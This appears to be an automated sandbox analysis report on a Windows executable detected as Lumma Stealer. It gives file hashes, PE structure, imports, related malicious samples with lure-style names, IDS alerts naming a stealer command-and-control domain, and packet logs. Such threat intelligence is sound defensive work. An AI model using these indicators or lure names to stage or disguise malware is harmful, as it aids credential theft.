	INVOICE KAD-0138-2024.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	Orden de compra 0001-00255454.xlam.xlsx	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	172.67.177.134
	0KRPn.vbs	Get hash	malicious	AgentTesla	Browse	104.21.45.138
	Supplier Order Scan 0001293039493.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	104.26.13.205
	file.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	DHL_VTER000105453.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	DHL_VTER000105450.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	SecuriteInfo.com.Trojan.NSIS.Agent.20411.3944.exe	Get hash	malicious	LummaC	Browse	172.67.131.204
	Pedido-Faturado-398731.msi	Get hash	malicious	Unknown	Browse	172.67.131.204
	PIO88938MB.docx.doc	Get hash	malicious	Unknown	Browse	172.67.131.204
	NFs_98776.msi	Get hash	malicious	VMdetect	Browse	172.67.131.204
	taEPf27YpR.xll	Get hash	malicious	Unknown	Browse	172.67.131.204
	taEPf27YpR.xll	Get hash	malicious	Unknown	Browse	172.67.131.204
	shipping doc.exe	Get hash	malicious	FormBook	Browse	172.67.131.204
	citat #05022024.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.131.204
	Pedido-Faturado-398731.msi	Get hash	malicious	Unknown	Browse	172.67.131.204
	file.exe	Get hash	malicious	LummaC	Browse	172.67.131.204

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.273245524862648
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe
File size:	578'048 bytes
MD5:	bab05624883fc9d5fe21f6e26c509c80
SHA1:	b9dfddb30341606e41f19b369995e1fe619214ae
SHA256:	ac9128c77beb18f3e26656a39e6df34964866ce61e8bc2424afca4c45d1aed8d
SHA512:	73a605ecd62f6c46f525dd13be73439ee9cab263786b45cf90a7146122e947d70dc228811a26fff0d8ec4ccb7999d1954993f79edf41cdfd8fa47b0fe682c1e1
SSDEEP:	12288:t/fI5jU8WtkonTgdwt8fU2A84yDfupl5zK7FHo:t3IeOfU25WnE7l
TLSH:	33C4F11174C080B2E57315320AE1DAB85E3EBD300A729A9F67881FBF5F312D2E755A57
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(tY.F'Y.F'Y.F'..E&U.F'..C&..F'..B&L.F'..B&K.F'..E&M.F'..G&\.F'Y.G'..F'..C&..F'..C&X.F'..D&X.F'RichY.F'................PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x406102
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6634E6D5 [Fri May 3 13:29:57 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	f23588e58d9b5c75df2f16b529527a2e

Entrypoint Preview

Instruction
call 00007F69D48172DBh
jmp 00007F69D4816B39h
push ebp
mov ebp, esp
jmp 00007F69D4816CCFh
push dword ptr [ebp+08h]
call 00007F69D48225B1h
pop ecx
test eax, eax
je 00007F69D4816CD1h
push dword ptr [ebp+08h]
call 00007F69D481D919h
pop ecx
test eax, eax
je 00007F69D4816CA8h
pop ebp
ret
cmp dword ptr [ebp+08h], FFFFFFFFh
je 00007F69D48139A8h
jmp 00007F69D4814AB9h
push ebp
mov ebp, esp
push dword ptr [ebp+08h]
call 00007F69D48175C3h
pop ecx
pop ebp
ret
cmp ecx, dword ptr [0042D040h]
jne 00007F69D4816CC3h
ret
jmp 00007F69D48175DFh
mov ecx, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
mov ecx, dword ptr [ebp-10h]
xor ecx, ebp
call 00007F69D4816C99h
jmp 00007F69D4816CA2h
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [0042D040h]
xor eax, ebp
push eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [0042D040h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x83000	0xdae	.INV
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x81000	0x1a6c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2aba8	0x1c	.DAX
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2aae8	0x40	.DAX
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x23000	0x13c	.DAX
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x211ef	0x21200	cc51c6f65a5e51c9015def07988f5938	False	0.583262087264151	data	6.64090329332346	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.DAX	0x23000	0x9cf6	0x9e00	7b1b09f50a89ab15ae62d26f668f64ee	False	0.43421182753164556	data	4.953928845663177	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2d000	0x1d54	0x1000	96f6fc94400f9b3c80d126cafa6f2df3	False	0.190673828125	data	3.018020491461944	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.Left	0x2f000	0x510c4	0x51200	c7183028291c3a4d7fdf1b6f8c8b05fa	False	0.998236469568567	OpenPGP Public Key	7.999212238267937	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x81000	0x1a6c	0x1c00	6f40397f4829021ef609cc1670e7efd9	False	0.7197265625	data	6.348967303435409	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.INV	0x83000	0xdae	0xde00	b2382c6356dde49d143d0236613e527a	False	0.029402449324324325	data	0.5552536644324805	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
USER32.DLL	OpenIcon, RegisterRawInputDevices, OemToCharBuffW, TranslateAccelerator, EvaluateProximityToRect, DrawTextA, DrawStateA, IsCharAlphaNumericW, RegisterClipboardFormatA, LoadKeyboardLayoutA, EnumDisplaySettingsW, DdeCreateStringHandleA, OemToCharA, SendMessageTimeoutW, GetIconInfoExW, InvertRect, GetSystemMenu, FreeDDElParam, SetCursor, GetWindowContextHelpId, PrintWindow, DwmGetDxSharedSurface, ReleaseDwmHitTestWaiters, OpenWindowStationW, DwmGetRemoteSessionOcclusionEvent, GetParent, TrackPopupMenuEx, _UserTestTokenForInteractive, DdeQueryStringW, ScrollChildren
KERNEL32.DLL	LoadLibraryExW, CreateFileW, VirtualProtect, WideCharToMultiByte, MultiByteToWideChar, GetStringTypeW, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetModuleHandleW, GetCurrentProcess, TerminateProcess, HeapSize, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, WriteConsoleW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, GetCommandLineA, GetCommandLineW, HeapAlloc, HeapFree, GetFileType, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx, SetFilePointerEx, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableW, SetStdHandle, GetProcessHeap, ReadConsoleW
MSVCRT.DLL	_mbsupr_s, _set_errno, _wtoi64, _mbsnextc_l, _islower_l, _wutime64, _vfwprintf_l, __pwctype_func, _mktemp, _popen, __CxxCallUnwindDtor, _fwscanf_s_l, _gcvt, _sprintf_l, _cwscanf_l, _wcstoul_l, _wtempnam_dbg, _vcprintf, __ExceptionPtrCopy, _swprintf_s_l, _get_environ, _mbscpy, _fprintf_s_l, _wspawnvpe, exit

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/04/24-22:22:48.334726	UDP	2052368	ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (pearcyworkeronej .shop)	49731	53	192.168.2.4	1.1.1.1
05/04/24-22:22:56.178293	TCP	2052369	ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI)	49735	443	192.168.2.4	172.67.131.204
05/04/24-22:22:57.267481	TCP	2052369	ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI)	49736	443	192.168.2.4	172.67.131.204
05/04/24-22:22:53.534195	TCP	2052369	ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI)	49734	443	192.168.2.4	172.67.131.204
05/04/24-22:22:49.603300	TCP	2052369	ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI)	49731	443	192.168.2.4	172.67.131.204
05/04/24-22:22:52.371820	TCP	2052369	ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI)	49733	443	192.168.2.4	172.67.131.204
05/04/24-22:22:58.672362	TCP	2052369	ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI)	49737	443	192.168.2.4	172.67.131.204
05/04/24-22:22:51.059487	TCP	2052369	ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI)	49732	443	192.168.2.4	172.67.131.204
05/04/24-22:22:48.500879	TCP	2052369	ET TROJAN Observed Lumma Stealer Related Domain (pearcyworkeronej .shop in TLS SNI)	49730	443	192.168.2.4	172.67.131.204

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 4, 2024 22:22:48.497545004 CEST	49730	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:48.497623920 CEST	443	49730	172.67.131.204	192.168.2.4
May 4, 2024 22:22:48.497731924 CEST	49730	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:48.500879049 CEST	49730	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:48.500916004 CEST	443	49730	172.67.131.204	192.168.2.4
May 4, 2024 22:22:48.829025984 CEST	443	49730	172.67.131.204	192.168.2.4
May 4, 2024 22:22:48.829128027 CEST	49730	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:48.831804037 CEST	49730	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:48.831820965 CEST	443	49730	172.67.131.204	192.168.2.4
May 4, 2024 22:22:48.832310915 CEST	443	49730	172.67.131.204	192.168.2.4
May 4, 2024 22:22:48.877679110 CEST	49730	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:48.877679110 CEST	49730	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:48.877815962 CEST	443	49730	172.67.131.204	192.168.2.4
May 4, 2024 22:22:49.579178095 CEST	443	49730	172.67.131.204	192.168.2.4
May 4, 2024 22:22:49.579303980 CEST	443	49730	172.67.131.204	192.168.2.4
May 4, 2024 22:22:49.579380989 CEST	49730	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:49.598860979 CEST	49730	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:49.598917961 CEST	443	49730	172.67.131.204	192.168.2.4
May 4, 2024 22:22:49.602843046 CEST	49731	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:49.602870941 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:49.602946043 CEST	49731	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:49.603300095 CEST	49731	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:49.603313923 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:49.918915033 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:49.919009924 CEST	49731	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:50.008554935 CEST	49731	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:50.008569002 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:50.009458065 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:50.053241968 CEST	49731	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:50.236330032 CEST	49731	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:50.236330032 CEST	49731	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:50.236550093 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:50.984241009 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:50.984322071 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:50.984366894 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:50.984375954 CEST	49731	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:50.984395027 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:50.984431982 CEST	49731	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:50.984438896 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:50.984750032 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:50.984786034 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:50.984788895 CEST	49731	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:50.984800100 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:50.984832048 CEST	49731	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:50.985323906 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:50.985682011 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:50.985719919 CEST	49731	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:50.985727072 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:50.986377954 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:50.986416101 CEST	49731	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:50.986423016 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:50.986526966 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:50.986583948 CEST	49731	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:51.021748066 CEST	49731	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:51.021764040 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:51.021778107 CEST	49731	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:51.021781921 CEST	443	49731	172.67.131.204	192.168.2.4
May 4, 2024 22:22:51.059062004 CEST	49732	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:51.059093952 CEST	443	49732	172.67.131.204	192.168.2.4
May 4, 2024 22:22:51.059185982 CEST	49732	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:51.059487104 CEST	49732	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:51.059499025 CEST	443	49732	172.67.131.204	192.168.2.4
May 4, 2024 22:22:51.373191118 CEST	443	49732	172.67.131.204	192.168.2.4
May 4, 2024 22:22:51.373284101 CEST	49732	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:51.374557972 CEST	49732	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:51.374567986 CEST	443	49732	172.67.131.204	192.168.2.4
May 4, 2024 22:22:51.374900103 CEST	443	49732	172.67.131.204	192.168.2.4
May 4, 2024 22:22:51.376085997 CEST	49732	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:51.376209021 CEST	49732	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:51.376280069 CEST	443	49732	172.67.131.204	192.168.2.4
May 4, 2024 22:22:51.376382113 CEST	49732	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:51.376394987 CEST	443	49732	172.67.131.204	192.168.2.4
May 4, 2024 22:22:52.268080950 CEST	443	49732	172.67.131.204	192.168.2.4
May 4, 2024 22:22:52.268467903 CEST	443	49732	172.67.131.204	192.168.2.4
May 4, 2024 22:22:52.268539906 CEST	49732	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:52.271702051 CEST	49732	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:52.271723986 CEST	443	49732	172.67.131.204	192.168.2.4
May 4, 2024 22:22:52.353688002 CEST	49733	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:52.353728056 CEST	443	49733	172.67.131.204	192.168.2.4
May 4, 2024 22:22:52.353792906 CEST	49733	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:52.371819973 CEST	49733	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:52.371834993 CEST	443	49733	172.67.131.204	192.168.2.4
May 4, 2024 22:22:52.688962936 CEST	443	49733	172.67.131.204	192.168.2.4
May 4, 2024 22:22:52.689168930 CEST	49733	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:52.690345049 CEST	49733	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:52.690354109 CEST	443	49733	172.67.131.204	192.168.2.4
May 4, 2024 22:22:52.690630913 CEST	443	49733	172.67.131.204	192.168.2.4
May 4, 2024 22:22:52.691785097 CEST	49733	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:52.691895962 CEST	49733	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:52.691926003 CEST	443	49733	172.67.131.204	192.168.2.4
May 4, 2024 22:22:53.449810028 CEST	443	49733	172.67.131.204	192.168.2.4
May 4, 2024 22:22:53.449913025 CEST	443	49733	172.67.131.204	192.168.2.4
May 4, 2024 22:22:53.450014114 CEST	49733	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:53.450139999 CEST	49733	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:53.450164080 CEST	443	49733	172.67.131.204	192.168.2.4
May 4, 2024 22:22:53.533775091 CEST	49734	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:53.533817053 CEST	443	49734	172.67.131.204	192.168.2.4
May 4, 2024 22:22:53.533891916 CEST	49734	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:53.534194946 CEST	49734	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:53.534209013 CEST	443	49734	172.67.131.204	192.168.2.4
May 4, 2024 22:22:53.845582962 CEST	443	49734	172.67.131.204	192.168.2.4
May 4, 2024 22:22:53.845820904 CEST	49734	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:53.848186970 CEST	49734	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:53.848193884 CEST	443	49734	172.67.131.204	192.168.2.4
May 4, 2024 22:22:53.848427057 CEST	443	49734	172.67.131.204	192.168.2.4
May 4, 2024 22:22:53.849709988 CEST	49734	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:53.849849939 CEST	49734	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:53.849880934 CEST	443	49734	172.67.131.204	192.168.2.4
May 4, 2024 22:22:53.849958897 CEST	49734	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:53.849967003 CEST	443	49734	172.67.131.204	192.168.2.4
May 4, 2024 22:22:54.636591911 CEST	443	49734	172.67.131.204	192.168.2.4
May 4, 2024 22:22:54.637003899 CEST	443	49734	172.67.131.204	192.168.2.4
May 4, 2024 22:22:54.637177944 CEST	49734	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:54.655247927 CEST	49734	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:54.655281067 CEST	443	49734	172.67.131.204	192.168.2.4
May 4, 2024 22:22:56.177694082 CEST	49735	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:56.177738905 CEST	443	49735	172.67.131.204	192.168.2.4
May 4, 2024 22:22:56.177809954 CEST	49735	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:56.178292990 CEST	49735	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:56.178306103 CEST	443	49735	172.67.131.204	192.168.2.4
May 4, 2024 22:22:56.492996931 CEST	443	49735	172.67.131.204	192.168.2.4
May 4, 2024 22:22:56.493185043 CEST	49735	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:56.494360924 CEST	49735	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:56.494369984 CEST	443	49735	172.67.131.204	192.168.2.4
May 4, 2024 22:22:56.494688988 CEST	443	49735	172.67.131.204	192.168.2.4
May 4, 2024 22:22:56.495754957 CEST	49735	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:56.495857000 CEST	49735	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:56.495887041 CEST	443	49735	172.67.131.204	192.168.2.4
May 4, 2024 22:22:57.251162052 CEST	443	49735	172.67.131.204	192.168.2.4
May 4, 2024 22:22:57.251301050 CEST	443	49735	172.67.131.204	192.168.2.4
May 4, 2024 22:22:57.251388073 CEST	49735	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:57.251418114 CEST	49735	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:57.266966105 CEST	49736	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:57.267009020 CEST	443	49736	172.67.131.204	192.168.2.4
May 4, 2024 22:22:57.267124891 CEST	49736	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:57.267481089 CEST	49736	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:57.267498970 CEST	443	49736	172.67.131.204	192.168.2.4
May 4, 2024 22:22:57.579824924 CEST	443	49736	172.67.131.204	192.168.2.4
May 4, 2024 22:22:57.580149889 CEST	49736	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:57.585406065 CEST	49736	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:57.585429907 CEST	443	49736	172.67.131.204	192.168.2.4
May 4, 2024 22:22:57.585767031 CEST	443	49736	172.67.131.204	192.168.2.4
May 4, 2024 22:22:57.587198019 CEST	49736	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:57.587403059 CEST	49736	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:57.587415934 CEST	443	49736	172.67.131.204	192.168.2.4
May 4, 2024 22:22:58.374918938 CEST	443	49736	172.67.131.204	192.168.2.4
May 4, 2024 22:22:58.375082016 CEST	443	49736	172.67.131.204	192.168.2.4
May 4, 2024 22:22:58.375251055 CEST	49736	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:58.375252008 CEST	49736	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:58.671936035 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:58.671976089 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:22:58.672072887 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:58.672362089 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:58.672379971 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:22:58.678277969 CEST	49736	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:58.678318977 CEST	443	49736	172.67.131.204	192.168.2.4
May 4, 2024 22:22:58.987936974 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:22:58.988014936 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:58.989687920 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:58.989696980 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:22:58.990041018 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:22:58.991425037 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:58.992326021 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:58.992366076 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:22:58.992482901 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:58.992523909 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:22:58.992674112 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:58.992711067 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:22:58.992865086 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:58.992893934 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:22:58.993092060 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:58.993120909 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:22:58.993323088 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:58.993357897 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:59.036138058 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:22:59.036370039 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:59.036411047 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:59.080118895 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:22:59.080327034 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:59.080374956 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:59.080389977 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:59.124125957 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:22:59.124326944 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:59.124372959 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:59.172111988 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:22:59.172301054 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:59.220118999 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:22:59.292660952 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:22:59.292793036 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:22:59.292862892 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:22:59.292890072 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:22:59.484277010 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:23:01.511112928 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:23:01.511389971 CEST	49737	443	192.168.2.4	172.67.131.204
May 4, 2024 22:23:01.511390924 CEST	443	49737	172.67.131.204	192.168.2.4
May 4, 2024 22:23:01.511450052 CEST	49737	443	192.168.2.4	172.67.131.204

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 4, 2024 22:22:48.334726095 CEST	49731	53	192.168.2.4	1.1.1.1
May 4, 2024 22:22:48.493444920 CEST	53	49731	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
